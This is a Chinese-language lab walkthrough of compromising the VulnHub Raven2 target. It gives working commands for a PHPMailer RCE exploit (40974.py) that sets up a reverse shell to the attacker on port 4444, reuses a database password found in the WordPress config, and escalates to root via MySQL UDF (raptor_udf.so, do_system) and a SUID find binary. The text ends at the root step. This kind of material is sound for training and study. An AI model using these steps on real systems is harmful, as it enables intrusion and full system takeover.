vulhub的raven2靶机:
确认靶机地址为192.168.91.133
扫描一下:nmap -sV -sC 192.168.91.133 --script=vuln
1.发现80端口的网站可能有csrf漏洞
2.目录枚举发现一些路径
3.有一些可能存在的漏洞
4.使用了wordpress搭建博客
先进网站看一看:
知道wordpress的版本是4.8.22,popper的版本是1.12.9,apache服务器的版本是2.4.10,使用mysql数据库,网站暂时没有其他有用的东西,有一个登录接口,但是实际链接到主页,也没有用:
扫描一下目录:
1.发现很多可用的路径,先上去看看一些看起来比较特殊的路径
1.原本以为会是一个可以上传文件的接口,上去后发现只有一张图片,居然正好是一个flag,xs~:
==>
这两个页面访问不了
1.在这个vendor页面发现了很多东西
2.在readme里面发现了使用PHPMailer,在后续文档中发现版本号可能是5.2.16
在path中发现了webroot路径,还得到了一个flag
webroot:/var/www/html
现在几乎遍历了整个网站,找到了两个flag,接下来大致至少有三个攻击面:一是攻击wordpress4.8.22,另一个是攻击PHPmailer5.2.16,然后是MySQL数据库的udf提权,但是这需要先得到shell。这里先搜寻一下有没有相关漏洞:
显然PHPMailer上的RCE漏洞是更好的选择
这里使用一下这个py脚本,在库中找到40974.py,复制一份到外面的目录中
这个脚本应该是上传一个脚本通过socket连接反弹shell,通过访问这个contact.php触发生成后门文件,再访问后门文件触发shell反弹
1.target是我们脚本的保存位置
2.连接的主机是本机ip,然后端口是4444
3.这里需要填入之前找到的webroot
注意:这里的各个位置都要修改名字或者ip,我也不知道为什么不修改无法成功拿到shell
运行脚本 python 40974.py
访问这个地址就可以触发shell
nc -lvnp 4444
拿到了shell
试着提权:
python -c 'import pty; pty.spawn("/bin/bash")'
然后找找flag,因为之前的flag都属flag + N 的形式,所以这里使用正则加一个位置:
find ./ -name "flag*.txt" 2>/dev/null
拿到flag
我们之前的思路,还有wordpress没有探索,以及数据库。
我们进入wordpress目录,里面的文件之前目录遍历基本上都没有成功访问,读一读配置文件之类的:
好得不行,root:R@v3nSecurity
连接数据库:
www-data@Raven:/var/www/html/wordpress$ mysql -u root -p
mysql -u root -p
Enter password: R@v3nSecurity
这里看到版本号为5.5.60
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 73
Server version: 5.5.60-0+deb8u1 (Debian)
UDF提权还没学习到,这里直接参照一下其他师傅的博客复刻一下:
直接搜索5.5.6没有udf提权漏洞,搜索了一下,发先有以下要求:
1.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
2.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
3.所拥有的权限必须有insert和delete的权限
4.具有目录的写权限
https://blog.csdn.net/weixin_36433730/article/details/113208982
由于我们拿到了root账户,那可以try一try:
这里还看到一位博主的说法:
show global variables like 'secure%';
[(146条消息) VulnHub-Raven-靶机渗透学习_嗯嗯呐的博客-CSDN博客](https://blog.csdn.net/shenyu_1126/article/details/109614583?ops_request_misc=%7B%22request%5Fid%22%3A%22168749990116800185833529%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=168749990116800185833529&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-109614583-null-null.142^v88^control_2,239^v2^insert_chatgpt&utm_term=raven tty1&spm=1018.2226.3001.4187)
这里使用的是这个文件,一样的先拷贝出来:
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
gcc -g -c 1518.c
gcc -g -shared -o raptor_udf.so 1518.o -lc
这里的意思是(GPT):
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./:这个命令将 /usr/share/exploitdb/exploits/linux/local/1518.c 文件复制到当前目录 (./) 中。
gcc -g -c 1518.c:这个命令使用 GCC 编译器编译名为 1518.c 的 C 源文件,并生成一个目标文件 1518.o。选项 -g 表示生成调试信息。
gcc -g -shared -o raptor_udf.so 1518.o -lc:这个命令使用 GCC 编译器将 1518.o 目标文件链接为一个共享库 raptor_udf.so。选项 -g 表示生成调试信息,选项 -shared 表示生成一个共享库,选项 -o 指定输出的文件名。最后的 -lc 是链接 C 标准库。
暂时还不是很理解,先move on
将文件上传到靶机:
进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字
mysql -u root -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令
select do_system('chmod u+s /usr/bin/find');
此时find命令拥有root权限,通过-exec tag 执行命令,但是不知道为什么能够直接获得root权限而不是反复调用-exec tag。